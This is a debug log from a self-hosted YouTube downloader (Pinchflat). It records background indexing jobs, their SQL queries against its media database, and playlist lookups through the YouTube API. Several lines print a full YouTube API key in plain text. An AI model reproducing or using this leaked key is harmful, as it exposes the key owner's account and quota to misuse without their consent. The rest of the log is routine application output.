16:25:40.504 [debug] QUERY OK source="sources" db=0.1ms idle=773.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:25:40.504 [debug] QUERY OK source="settings" db=0.1ms idle=773.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=767.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:40.505 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.505 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:25:40.505 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.505 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:40.805 [debug] QUERY OK source="media_items" db=0.7ms idle=299.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 16:25:40.806 [debug] QUERY OK source="media_items" db=0.8ms idle=301.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:25:40.807 [debug] QUERY OK source="tasks" db=0.1ms idle=302.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268230, 18, ~U[2026-10-09 21:25:40Z], ~U[2026-10-09 21:25:40Z]] 16:25:40.808 [info] {"args":{"id":18},"id":5268191,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":303623,"event":"job:stop","queue_time":410488,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:40.814 [info] {"args":{"id":1},"id":5268192,"meta":{},"system_time":1791581140814233175,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:40.814 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:25:40.814 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.814 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:40.815 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.815 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:25:40.815 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:40.815 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:40.989 [debug] QUERY OK source="media_items" db=0.7ms idle=174.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 16:25:41.002 [debug] QUERY OK source="media_items" db=12.0ms idle=175.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:25:41.003 [debug] QUERY OK source="tasks" db=0.1ms idle=187.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268231, 1, ~U[2026-10-09 21:25:41Z], ~U[2026-10-09 21:25:41Z]] 16:25:41.003 [info] {"args":{"id":1},"id":5268192,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188890,"event":"job:stop","queue_time":468475,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:41.506 [info] {"args":{"id":5},"id":5268193,"meta":{},"system_time":1791581141506274241,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:41.506 [debug] QUERY OK source="sources" db=0.1ms idle=503.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:25:41.506 [debug] QUERY OK source="settings" db=0.0ms idle=503.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=496.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:41.507 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.507 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:25:41.507 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.507 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:41.706 [debug] QUERY OK source="media_items" db=0.6ms idle=199.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 16:25:41.710 [debug] QUERY OK source="media_items" db=2.9ms idle=200.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:25:41.710 [debug] QUERY OK source="tasks" db=0.1ms idle=203.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268232, 5, ~U[2026-10-09 21:25:41Z], ~U[2026-10-09 21:25:41Z]] 16:25:41.711 [info] {"args":{"id":5},"id":5268193,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204676,"event":"job:stop","queue_time":498476,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:41.717 [info] {"args":{"id":16},"id":5268194,"meta":{},"system_time":1791581141717428814,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:41.717 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:25:41.717 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.717 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:41.718 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.718 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:25:41.718 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:41.718 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:41.836 [debug] QUERY OK source="media_items" db=0.7ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 16:25:41.837 [debug] QUERY OK source="media_items" db=1.0ms idle=118.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:25:41.838 [debug] QUERY OK source="tasks" db=0.1ms idle=119.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268233, 16, ~U[2026-10-09 21:25:41Z], ~U[2026-10-09 21:25:41Z]] 16:25:41.838 [info] {"args":{"id":16},"id":5268194,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121103,"event":"job:stop","queue_time":526997,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:42.508 [info] 